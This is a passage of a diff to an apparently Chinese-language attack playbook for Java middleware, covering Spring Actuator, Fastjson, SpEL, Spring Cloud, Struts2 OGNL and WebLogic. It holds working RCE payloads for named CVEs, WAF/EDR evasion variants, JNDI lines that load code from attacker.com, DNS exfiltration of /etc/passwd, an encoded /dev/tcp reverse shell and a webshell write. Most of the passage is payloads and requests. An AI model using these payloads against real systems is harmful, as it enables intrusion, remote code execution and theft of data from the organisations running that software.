_Spring框架的分号路径参数特性允许在URL中插入分号段绕过路径匹配规则,结合双编码和路径穿越访问被限制的Actuator端点_
|
|
669
|
+
```
|
|
670
|
+
# 分号路径参数绕过(Spring特性):
|
|
671
|
+
/;/actuator/env
|
|
672
|
+
/actuator;.js/env
|
|
673
|
+
/actuator/..;/actuator/env
|
|
674
|
+
|
|
675
|
+
# 双URL编码:
|
|
676
|
+
/%61%63%74%75%61%74%6f%72/env
|
|
677
|
+
/actuator/%65%6e%76
|
|
678
|
+
|
|
679
|
+
# 路径穿越:
|
|
680
|
+
/random/../actuator/env
|
|
681
|
+
/api/v1/../../actuator/heapdump
|
|
682
|
+
```
|
|
683
|
+
|
|
684
|
+
**2. HTTP方法覆盖与Content-Type绕过**
|
|
685
|
+
_使用X-HTTP-Method-Override头覆盖请求方法,或通过非标准Content-Type和大小写变体绕过WAF对Actuator端点的POST请求拦截_
|
|
686
|
+
```
|
|
687
|
+
# HTTP方法覆盖:
|
|
688
|
+
GET /actuator/env HTTP/1.1
|
|
689
|
+
X-HTTP-Method-Override: POST
|
|
690
|
+
|
|
691
|
+
# Content-Type绕过:
|
|
692
|
+
POST /actuator/env HTTP/1.1
|
|
693
|
+
Content-Type: application/x-www-form-urlencoded
|
|
694
|
+
spring.cloud.bootstrap.location=http://attacker.com/payload.yml
|
|
695
|
+
|
|
696
|
+
# 大小写绕过:
|
|
697
|
+
/Actuator/Env
|
|
698
|
+
/ACTUATOR/ENV
|
|
699
|
+
```
|
|
700
|
+
|
|
701
|
+
---
|
|
702
|
+
|
|
703
|
+
### Fastjson RCE `fastjson-rce`
|
|
704
|
+
Alibaba Fastjson反序列化远程代码执行
|
|
705
|
+
子类:**Fastjson** · tags: `fastjson` `rce` `deserialization` `java`
|
|
706
|
+
|
|
707
|
+
**前置条件:** 使用Fastjson库;存在反序列化点
|
|
708
|
+
|
|
709
|
+
**攻击链:**
|
|
710
|
+
|
|
711
|
+
**1. 1. 探测Fastjson**
|
|
712
|
+
_探测Fastjson版本_
|
|
713
|
+
```
|
|
714
|
+
发送JSON请求,观察响应:
|
|
715
|
+
{"@type":"java.net.Inet4Address","val":"attacker.com"}
|
|
716
|
+
观察是否有DNS回调
|
|
717
|
+
```
|
|
718
|
+
|
|
719
|
+
**2. 2. JNDI注入**
|
|
720
|
+
_JNDI注入RCE_
|
|
721
|
+
```
|
|
722
|
+
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}
|
|
723
|
+
```
|
|
724
|
+
|
|
725
|
+
**3. 3. 搭建恶意服务**
|
|
726
|
+
_搭建恶意LDAP/RMI服务_
|
|
727
|
+
```
|
|
728
|
+
使用JNDIExploit:
|
|
729
|
+
java -jar JNDIExploit.jar -i attacker.com
|
|
730
|
+
或使用marshalsec:
|
|
731
|
+
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker.com:8080/#Exploit 1389
|
|
732
|
+
```
|
|
733
|
+
|
|
734
|
+
**4. 4. 绕过AutoType检查**
|
|
735
|
+
_绕过AutoType黑名单_
|
|
736
|
+
```
|
|
737
|
+
1.2.47版本绕过:
|
|
738
|
+
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
|
|
739
|
+
```
|
|
740
|
+
|
|
741
|
+
**WAF/EDR 绕过变体:**
|
|
742
|
+
|
|
743
|
+
**1. Unicode编码与嵌套JSON绕过**
|
|
744
|
+
_通过Unicode(\u0040)、十六进制(\x40)编码@type字段名或嵌套JSON结构绕过WAF对Fastjson特征的检测_
|
|
745
|
+
```
|
|
746
|
+
# Unicode编码@type:
|
|
747
|
+
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
|
|
748
|
+
|
|
749
|
+
# 十六进制编码:
|
|
750
|
+
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
|
|
751
|
+
|
|
752
|
+
# 嵌套JSON混淆:
|
|
753
|
+
{"a":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
|
|
754
|
+
```
|
|
755
|
+
|
|
756
|
+
**2. BCEL ClassLoader与版本特异链**
|
|
757
|
+
_针对不同Fastjson版本使用特异性利用链:BCEL ClassLoader加载字节码、1.2.47缓存投毒、1.2.68 expectClass白名单绕过_
|
|
758
|
+
```
|
|
759
|
+
# BCEL ClassLoader(Fastjson 1.1.15-1.2.24):
|
|
760
|
+
{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader","":"$$BCEL$$$l$8b..."}
|
|
761
|
+
|
|
762
|
+
# Fastjson 1.2.47 AutoType绕过:
|
|
763
|
+
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
|
|
764
|
+
|
|
765
|
+
# Fastjson 1.2.68 expectClass绕过:
|
|
766
|
+
{"@type":"java.lang.AutoCloseable","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
|
|
767
|
+
```
|
|
768
|
+
|
|
769
|
+
---
|
|
770
|
+
|
|
771
|
+
### Spring SpEL注入 `spring-spel`
|
|
772
|
+
Spring表达式语言注入攻击
|
|
773
|
+
子类:**Spring SpEL** · tags: `spring` `spel` `expression` `rce`
|
|
774
|
+
|
|
775
|
+
**前置条件:** 使用Spring框架;存在SpEL注入点
|
|
776
|
+
|
|
777
|
+
**攻击链:**
|
|
778
|
+
|
|
779
|
+
**1. 1. 探测SpEL注入**
|
|
780
|
+
_探测SpEL注入点_
|
|
781
|
+
```
|
|
782
|
+
# 测试表达式执行
|
|
783
|
+
${7*7}
|
|
784
|
+
#{7*7}
|
|
785
|
+
${T(java.lang.Runtime).getRuntime()}
|
|
786
|
+
|
|
787
|
+
# 观察响应
|
|
788
|
+
# 如果返回49或执行成功则存在漏洞
|
|
789
|
+
```
|
|
790
|
+
|
|
791
|
+
**2. 2. 命令执行**
|
|
792
|
+
_执行系统命令_
|
|
793
|
+
```
|
|
794
|
+
# Runtime执行命令
|
|
795
|
+
${T(java.lang.Runtime).getRuntime().exec("id")}
|
|
796
|
+
#{T(java.lang.Runtime).getRuntime().exec("whoami")}
|
|
797
|
+
|
|
798
|
+
# ProcessBuilder
|
|
799
|
+
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
|
|
800
|
+
#{new java.lang.ProcessBuilder(new String[]{"cmd","/c","whoami"}).start()}
|
|
801
|
+
|
|
802
|
+
# 反弹Shell
|
|
803
|
+
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}
|
|
804
|
+
```
|
|
805
|
+
|
|
806
|
+
**3. 3. 文件读取**
|
|
807
|
+
_读取敏感文件_
|
|
808
|
+
```
|
|
809
|
+
# 读取文件
|
|
810
|
+
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd").getInputStream())}
|
|
811
|
+
|
|
812
|
+
# 使用Scanner
|
|
813
|
+
#{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd").getInputStream()).useDelimiter("\\A").next()}
|
|
814
|
+
|
|
815
|
+
# 直接读取
|
|
816
|
+
${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/etc/passwd"))}
|
|
817
|
+
```
|
|
818
|
+
|
|
819
|
+
**4. 4. DNS外带**
|
|
820
|
+
_DNS外带数据_
|
|
821
|
+
```
|
|
822
|
+
# DNS外带数据
|
|
823
|
+
${T(java.net.InetAddress).getByName("attacker.com")}
|
|
824
|
+
|
|
825
|
+
# 外带文件内容
|
|
826
|
+
${T(java.net.InetAddress).getByName(T(java.lang.String).valueOf(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/etc/passwd"))).substring(0,20)+".attacker.com")}
|
|
827
|
+
```
|
|
828
|
+
|
|
829
|
+
**WAF/EDR 绕过变体:**
|
|
830
|
+
|
|
831
|
+
**1. 字符串拼接**
|
|
832
|
+
_字符串拼接绕过_
|
|
833
|
+
```
|
|
834
|
+
# 绕过关键字过滤
|
|
835
|
+
${T(java.lang.Run"+"time).getRun"+"time().exec("id")}
|
|
836
|
+
#{T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("exec",T(String)).invoke(T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("getRuntime").invoke(null),"id")}
|
|
837
|
+
```
|
|
838
|
+
|
|
839
|
+
**2. 反射绕过**
|
|
840
|
+
_反射绕过_
|
|
841
|
+
```
|
|
842
|
+
# 使用反射
|
|
843
|
+
#{T(Class).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(Class).forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
|
|
844
|
+
|
|
845
|
+
# 使用ScriptEngine
|
|
846
|
+
#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\"id\\")")}
|
|
847
|
+
```
|
|
848
|
+
|
|
849
|
+
---
|
|
850
|
+
|
|
851
|
+
### Spring Cloud漏洞 `spring-cloud`
|
|
852
|
+
Spring Cloud相关漏洞利用
|
|
853
|
+
子类:**Spring Cloud** · tags: `spring` `cloud` `rce` `deserialization`
|
|
854
|
+
|
|
855
|
+
**前置条件:** 使用Spring Cloud;存在漏洞版本
|
|
856
|
+
|
|
857
|
+
**攻击链:**
|
|
858
|
+
|
|
859
|
+
**1. 1. Spring Cloud Gateway RCE**
|
|
860
|
+
_Spring Cloud Gateway RCE_
|
|
861
|
+
```
|
|
862
|
+
# CVE-2022-22947
|
|
863
|
+
# 添加恶意路由
|
|
864
|
+
POST /actuator/gateway/routes/hack HTTP/1.1
|
|
865
|
+
Content-Type: application/json
|
|
866
|
+
|
|
867
|
+
{
|
|
868
|
+
"id": "hack",
|
|
869
|
+
"filters": [{
|
|
870
|
+
"name": "AddResponseHeader",
|
|
871
|
+
"args": {
|
|
872
|
+
"name": "Result",
|
|
873
|
+
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
|
|
874
|
+
}
|
|
875
|
+
}],
|
|
876
|
+
"uri": "http://example.com"
|
|
877
|
+
}
|
|
878
|
+
|
|
879
|
+
# 刷新路由
|
|
880
|
+
POST /actuator/gateway/refresh
|
|
881
|
+
|
|
882
|
+
# 查看结果
|
|
883
|
+
GET /actuator/gateway/routes/hack
|
|
884
|
+
```
|
|
885
|
+
|
|
886
|
+
**2. 2. Spring Cloud Function SpEL**
|
|
887
|
+
_Spring Cloud Function SpEL注入_
|
|
888
|
+
```
|
|
889
|
+
# CVE-2022-22963
|
|
890
|
+
# 修改请求头触发SpEL
|
|
891
|
+
POST /functionRouter HTTP/1.1
|
|
892
|
+
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
|
|
893
|
+
Content-Type: text/plain
|
|
894
|
+
|
|
895
|
+
payload
|
|
896
|
+
```
|
|
897
|
+
|
|
898
|
+
**3. 3. Spring Cloud Netflix**
|
|
899
|
+
_Spring Cloud Netflix漏洞_
|
|
900
|
+
```
|
|
901
|
+
# CVE-2020-5410 目录遍历
|
|
902
|
+
GET /..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd
|
|
903
|
+
|
|
904
|
+
# Eureka Server SSRF
|
|
905
|
+
POST /eureka/apps
|
|
906
|
+
# 配置serviceUrl指向内网服务
|
|
907
|
+
```
|
|
908
|
+
|
|
909
|
+
**WAF/EDR 绕过变体:**
|
|
910
|
+
|
|
911
|
+
**1. 编码绕过**
|
|
912
|
+
_编码绕过_
|
|
913
|
+
```
|
|
914
|
+
# URL编码绕过
|
|
915
|
+
..%252f = ..%2f = ../
|
|
916
|
+
|
|
917
|
+
# 双重URL编码
|
|
918
|
+
..%252f..%252f
|
|
919
|
+
```
|
|
920
|
+
|
|
921
|
+
---
|
|
922
|
+
|
|
923
|
+
### Struts2远程代码执行 `struts2-rce`
|
|
924
|
+
Apache Struts2框架RCE漏洞
|
|
925
|
+
子类:**Struts2** · tags: `struts2` `rce` `java` `apache`
|
|
926
|
+
|
|
927
|
+
**前置条件:** 使用Struts2框架;存在漏洞版本
|
|
928
|
+
|
|
929
|
+
**攻击链:**
|
|
930
|
+
|
|
931
|
+
**1. 1. S2-045漏洞**
|
|
932
|
+
_S2-045 Content-Type注入_
|
|
933
|
+
```
|
|
934
|
+
# CVE-2017-5638
|
|
935
|
+
# Content-Type头注入
|
|
936
|
+
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
|
937
|
+
```
|
|
938
|
+
|
|
939
|
+
**2. 2. S2-046漏洞**
|
|
940
|
+
_S2-046 Content-Disposition注入_
|
|
941
|
+
```
|
|
942
|
+
# CVE-2017-5638
|
|
943
|
+
# Content-Disposition注入
|
|
944
|
+
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','vulnerable')}"
|
|
945
|
+
|
|
946
|
+
# 完整RCE
|
|
947
|
+
Content-Disposition: form-data; name="upload"; filename="%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='id').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
|
|
948
|
+
```
|
|
949
|
+
|
|
950
|
+
**3. 3. S2-057漏洞**
|
|
951
|
+
_S2-057 URL命名空间注入_
|
|
952
|
+
```
|
|
953
|
+
# CVE-2018-11776
|
|
954
|
+
# URL命名空间注入
|
|
955
|
+
http://target/${(111+111)}/test.action
|
|
956
|
+
# 如果返回222则存在漏洞
|
|
957
|
+
|
|
958
|
+
# RCE
|
|
959
|
+
http://target/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='id').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}/test.action
|
|
960
|
+
```
|
|
961
|
+
|
|
962
|
+
**4. 4. S2-061/S2-062漏洞**
|
|
963
|
+
_S2-061/062 OGNL注入_
|
|
964
|
+
```
|
|
965
|
+
# CVE-2020-17530
|
|
966
|
+
# OGNL表达式注入
|
|
967
|
+
POST /action HTTP/1.1
|
|
968
|
+
Content-Type: application/x-www-form-urlencoded
|
|
969
|
+
|
|
970
|
+
id=%25%7b%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS.%40java.lang.Runtime%40getRuntime().exec(%27id%27)%7d
|
|
971
|
+
|
|
972
|
+
# 解码后
|
|
973
|
+
id=%{#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS.@java.lang.Runtime@getRuntime().exec('id')}
|
|
974
|
+
```
|
|
975
|
+
|
|
976
|
+
**WAF/EDR 绕过变体:**
|
|
977
|
+
|
|
978
|
+
**1. 编码绕过**
|
|
979
|
+
_编码绕过_
|
|
980
|
+
```
|
|
981
|
+
# URL编码
|
|
982
|
+
%{#cmd} = %25%7b%23cmd%7d
|
|
983
|
+
|
|
984
|
+
# Unicode编码
|
|
985
|
+
\u0025{#cmd}
|
|
986
|
+
|
|
987
|
+
# 双重编码
|
|
988
|
+
%2525%257b%2523cmd%257d
|
|
989
|
+
```
|
|
990
|
+
|
|
991
|
+
**2. 表达式变体**
|
|
992
|
+
_表达式变体绕过_
|
|
993
|
+
```
|
|
994
|
+
# 不同表达式语法
|
|
995
|
+
${...}
|
|
996
|
+
%{...}
|
|
997
|
+
#{...}
|
|
998
|
+
@{...}
|
|
999
|
+
|
|
1000
|
+
# 使用静态方法
|
|
1001
|
+
@java.lang.Runtime@getRuntime()
|
|
1002
|
+
new java.lang.ProcessBuilder()
|
|
1003
|
+
```
|
|
1004
|
+
|
|
1005
|
+
---
|
|
1006
|
+
|
|
1007
|
+
### Struts2 OGNL表达式注入 `struts2-ognl`
|
|
1008
|
+
Struts2 OGNL表达式注入技术详解
|
|
1009
|
+
子类:**Struts2 OGNL** · tags: `struts2` `ognl` `expression` `injection`
|
|
1010
|
+
|
|
1011
|
+
**前置条件:** 使用Struts2框架;存在OGNL注入点
|
|
1012
|
+
|
|
1013
|
+
**攻击链:**
|
|
1014
|
+
|
|
1015
|
+
**1. 1. OGNL基础语法**
|
|
1016
|
+
_OGNL基础语法_
|
|
1017
|
+
```
|
|
1018
|
+
# 访问对象属性
|
|
1019
|
+
#object.property
|
|
1020
|
+
#object['property']
|
|
1021
|
+
|
|
1022
|
+
# 调用方法
|
|
1023
|
+
#object.method()
|
|
1024
|
+
#object.method(arg1, arg2)
|
|
1025
|
+
|
|
1026
|
+
# 静态方法调用
|
|
1027
|
+
@package.ClassName@method()
|
|
1028
|
+
@java.lang.Runtime@getRuntime()
|
|
1029
|
+
|
|
1030
|
+
# 创建对象
|
|
1031
|
+
new java.lang.String("test")
|
|
1032
|
+
new java.lang.ProcessBuilder(new String[]{"id"})
|
|
1033
|
+
```
|
|
1034
|
+
|
|
1035
|
+
**2. 2. 绕过安全限制**
|
|
1036
|
+
_绕过安全限制_
|
|
1037
|
+
```
|
|
1038
|
+
# 获取DEFAULT_MEMBER_ACCESS
|
|
1039
|
+
#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
|
|
1040
|
+
|
|
1041
|
+
# 设置成员访问权限
|
|
1042
|
+
#_memberAccess=#dm
|
|
1043
|
+
|
|
1044
|
+
# 清除排除类
|
|
1045
|
+
#ognlUtil.getExcludedClasses().clear()
|
|
1046
|
+
#ognlUtil.getExcludedPackageNames().clear()
|
|
1047
|
+
|
|
1048
|
+
# 完整绕过
|
|
1049
|
+
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
|
|
1050
|
+
```
|
|
1051
|
+
|
|
1052
|
+
**3. 3. 命令执行技巧**
|
|
1053
|
+
_命令执行技巧_
|
|
1054
|
+
```
|
|
1055
|
+
# 使用Runtime
|
|
1056
|
+
#cmd='id'
|
|
1057
|
+
#cmds={'/bin/bash','-c',#cmd}
|
|
1058
|
+
#p=new java.lang.ProcessBuilder(#cmds)
|
|
1059
|
+
#process=#p.start()
|
|
1060
|
+
|
|
1061
|
+
# 获取输出
|
|
1062
|
+
#is=#process.getInputStream()
|
|
1063
|
+
#ros=@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()
|
|
1064
|
+
@org.apache.commons.io.IOUtils@copy(#is,#ros)
|
|
1065
|
+
|
|
1066
|
+
# 字符串输出
|
|
1067
|
+
@org.apache.commons.io.IOUtils@toString(#process.getInputStream())
|
|
1068
|
+
```
|
|
1069
|
+
|
|
1070
|
+
**4. 4. 文件操作**
|
|
1071
|
+
_文件操作_
|
|
1072
|
+
```
|
|
1073
|
+
# 读取文件
|
|
1074
|
+
new java.util.Scanner(new java.io.File("/etc/passwd")).useDelimiter("\\A").next()
|
|
1075
|
+
|
|
1076
|
+
# 写入文件
|
|
1077
|
+
new java.io.FileOutputStream("shell.jsp").write(new sun.misc.BASE64Decoder().decodeBuffer("BASE64_SHELL").getBytes())
|
|
1078
|
+
|
|
1079
|
+
# 列出目录
|
|
1080
|
+
new java.io.File("/").list()
|
|
1081
|
+
```
|
|
1082
|
+
|
|
1083
|
+
**WAF/EDR 绕过变体:**
|
|
1084
|
+
|
|
1085
|
+
**1. 字符编码绕过**
|
|
1086
|
+
_字符编码绕过_
|
|
1087
|
+
```
|
|
1088
|
+
# Unicode编码
|
|
1089
|
+
\u0069d = id
|
|
1090
|
+
\u0027 = '
|
|
1091
|
+
|
|
1092
|
+
# 十六进制
|
|
1093
|
+
\x69\x64 = id
|
|
1094
|
+
|
|
1095
|
+
# 字符串拼接
|
|
1096
|
+
"i"+"d" = "id"
|
|
1097
|
+
'id'.substring(0,2)
|
|
1098
|
+
```
|
|
1099
|
+
|
|
1100
|
+
**2. 反射绕过**
|
|
1101
|
+
_反射绕过_
|
|
1102
|
+
```
|
|
1103
|
+
# 使用反射调用
|
|
1104
|
+
#cls=@java.lang.Class@forName("java.lang.Runtime")
|
|
1105
|
+
#method=#cls.getMethod("getRuntime")
|
|
1106
|
+
#rt=#method.invoke(null)
|
|
1107
|
+
#exec=#cls.getMethod("exec",@java.lang.String@class)
|
|
1108
|
+
#exec.invoke(#rt,"id")
|
|
1109
|
+
```
|
|
1110
|
+
|
|
1111
|
+
---
|
|
1112
|
+
|
|
1113
|
+
### WebLogic远程代码执行 `weblogic-rce`
|
|
1114
|
+
Oracle WebLogic Server RCE漏洞
|
|
1115
|
+
子类:**WebLogic** · tags: `weblogic` `rce` `java` `oracle`
|
|
1116
|
+
|
|
1117
|
+
**前置条件:** 使用WebLogic Server;存在漏洞版本
|
|
1118
|
+
|
|
1119
|
+
**攻击链:**
|
|
1120
|
+
|
|
1121
|
+
**1. 1. CVE-2017-10271**
|
|
1122
|
+
_CVE-2017-10271 XMLDecoder_
|
|
1123
|
+
```
|
|
1124
|
+
# XMLDecoder反序列化
|
|
1125
|
+
POST /wls-wsat/CoordinatorPortType HTTP/1.1
|
|
1126
|
+
Content-Type: text/xml
|
|
1127
|
+
|
|
1128
|
+
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
1129
|
+
<soapenv:Header>
|
|
1130
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
1131
|
+
<java>
|
|
1132
|
+
<object class="java.lang.ProcessBuilder">
|
|
1133
|
+
<array class="java.lang.String" length="3">
|
|
1134
|
+
<void index="0"><string>/bin/bash</string></void>
|
|
1135
|
+
<void index="1"><string>-c</string></void>
|
|
1136
|
+
<void index="2"><string>id</string></void>
|
|
1137
|
+
</array>
|
|
1138
|
+
<void method="start"/>
|
|
1139
|
+
</object>
|
|
1140
|
+
</java>
|
|
1141
|
+
</work:WorkContext>
|
|
1142
|
+
</soapenv:Header>
|
|
1143
|
+
<soapenv:Body/>
|
|
1144
|
+
</soapenv:Envelope>
|
|
1145
|
+
```
|
|
1146
|
+
|
|
1147
|
+
**2. 2. CVE-2019-2725**
|
|
1148
|
+
_CVE-2019-2725 AsyncResponseService_
|
|
1149
|
+
```
|
|
1150
|
+
# 新版XMLDecoder绕过
|
|
1151
|
+
POST /_async/AsyncResponseService HTTP/1.1
|
|
1152
|
+
Content-Type: text/xml
|
|
1153
|
+
|
|
1154
|
+
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing">
|
|
1155
|
+
<soapenv:Header>
|
|
1156
|
+
<wsa:Action>xx</wsa:Action>
|
|
1157
|
+
<wsa:RelatesTo>xx</wsa:RelatesTo>
|
|
1158
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
1159
|
+
<java class="java.beans.XMLDecoder">
|
|
1160
|
+
<void class="java.lang.ProcessBuilder">
|
|
1161
|
+
<array class="java.lang.String" length="3">
|
|
1162
|
+
<void index="0"><string>/bin/bash</string></void>
|
|
1163
|
+
<void index="1"><string>-c</string></void>
|
|
1164
|
+
<void index="2"><string>id</string></void>
|
|
1165
|
+
</array>
|
|
1166
|
+
<void method="start"/>
|
|
1167
|
+
</void>
|
|
1168
|
+
</java>
|
|
1169
|
+
</work:WorkContext>
|
|
1170
|
+
</soapenv:Header>
|
|
1171
|
+
<soapenv:Body/>
|
|
1172
|
+
</soapenv:Envelope>
|
|
1173
|
+
```
|
|
1174
|
+
|
|
1175
|
+
**3. 3. CVE-2020-14882**
|
|
1176
|
+
_CVE-2020-14882 Console RCE_
|
|
1177
|
+
```
|
|
1178
|
+
# 未授权访问+命令执行
|
|
1179
|
+
# 登录绕过
|
|
1180
|
+
GET /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
|
1181
|
+
|
|
1182
|
+
# 命令执行
|
|
1183
|
+
GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27id%27);%22) HTTP/1.1
|
|
1184
|
+
```
|
|
1185
|
+
|
|
1186
|
+
**WAF/EDR 绕过变体:**
|
|
1187
|
+
|
|
1188
|
+
**1. 路径编码绕过**
|
|
1189
|
+
_路径编码绕过_
|
|
1190
|
+
```
|
|
1191
|
+
# 不同编码方式
|
|
1192
|
+
/console/css/..;/console.portal
|
|
1193
|
+
/console/css/%2e%2e/console.portal
|
|
1194
|
+
/console/css/%252e%252e/console.portal
|
|
1195
|
+
/console/css/..%252fconsole.portal
|
|
1196
|
+
```
|
|
1197
|
+
|
|
1198
|
+
**2. XML变体**
|
|
1199
|
+
_XML变体绕过_
|
|
1200
|
+
```
|
|
1201
|
+
# 使用不同XML标签
|
|
1202
|
+
<void class="java.lang.Runtime" method="getRuntime">
|
|
1203
|
+
<void method="exec">
|
|
1204
|
+
<string>id</string>
|
|
1205
|
+
</void>
|
|
1206
|
+
</void>
|
|
1207
|
+
|
|
1208
|
+
# 使用数组形式
|
|
1209
|
+
<array class="java.lang.String" length="1">
|
|
1210
|
+
<void index="0"><string>id</string></void>
|
|
1211
|
+
</array>
|
|
1212
|
+
```
|
|
1213
|
+
|
|
1214
|
+
---
|
|
1215
|
+
|
|
1216
|
+
### WebLogic T3协议攻击 `weblogic-t3`
|
|
1217
|
+
WebLogic T3协议反序列化漏洞
|
|
1218
|
+
子类:**WebLogic T3** · tags: `weblogic` `t3` `deserialization` `java`
|
|
1219
|
+
|
|
1220
|
+
**前置条件:** WebLogic开放T3端口;存在漏洞版本
|
|
1221
|
+
|
|
1222
|
+
**攻击链:**
|
|
1223
|
+
|
|
1224
|
+
**1. 1. 探测T3服务**
|
|
1225
|
+
_探测T3服务_
|
|
1226
|
+
```
|
|
1227
|
+
# 扫描T3端口(默认7001)
|
|
1228
|
+
nmap -sV -p 7001 target
|
|
1229
|
+
|
|
1230
|
+
# T3握手
|
|
1231
|
+
echo "t3 12.2.1" | nc target 7001
|
|
1232
|
+
|
|
1233
|
+
# 如果返回HELO则存在T3服务
|
|
1234
|
+
```
|
|
1235
|
+
|
|
1236
|
+
**2. 2. 使用工具攻击**
|
|
1237
|
+
_使用工具攻击_
|
|
1238
|
+
```
|
|
1239
|
+
# 使用weblogic_exploit
|
|
1240
|
+
git clone https://github.com/0xn0ne/weblogicScanner
|
|
1241
|
+
cd weblogicScanner
|
|
1242
|
+
python3 weblogic.py -t target -p 7001
|
|
1243
|
+
|
|
1244
|
+
# 使用WebLogicTool
|
|
1245
|
+
java -jar WebLogicTool.jar -target target:7001 -cmd "id"
|
|
1246
|
+
|
|
1247
|
+
# 使用ysoserial
|
|
1248
|
+
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "touch /tmp/pwned"
|
|
1249
|
+
```
|
|
1250
|
+
|
|
1251
|
+
**3. 3. 构造恶意T3请求**
|
|
1252
|
+
_构造恶意T3请求_
|
|
1253
|
+
```
|
|
1254
|
+
# Python脚本构造T3请求
|
|
1255
|
+
import socket
|
|
1256
|
+
import struct
|
|
1257
|
+
|
|
1258
|
+
def send_t3_payload(target, port, payload):
|
|
1259
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
1260
|
+
sock.connect((target, port))
|
|
1261
|
+
|
|
1262
|
+
# T3握手
|
|
1263
|
+
sock.send(b"t3 12.2.1\n")
|
|
1264
|
+
response = sock.recv(1024)
|
|
1265
|
+
|
|
1266
|
+
# 发送恶意序列化对象
|
|
1267
|
+
# 构造包含恶意对象的T3请求
|
|
1268
|
+
sock.send(payload)
|
|
1269
|
+
sock.close()
|
|
1270
|
+
|
|
1271
|
+
# 使用ysoserial生成payload
|
|
1272
|
+
# java -jar ysoserial.jar CommonsCollections1 "id" > payload.bin
|
|
1273
|
+
```
|
|
1274
|
+
|
|
1275
|
+
**WAF/EDR 绕过变体:**
|
|
1276
|
+
|
|
1277
|
+
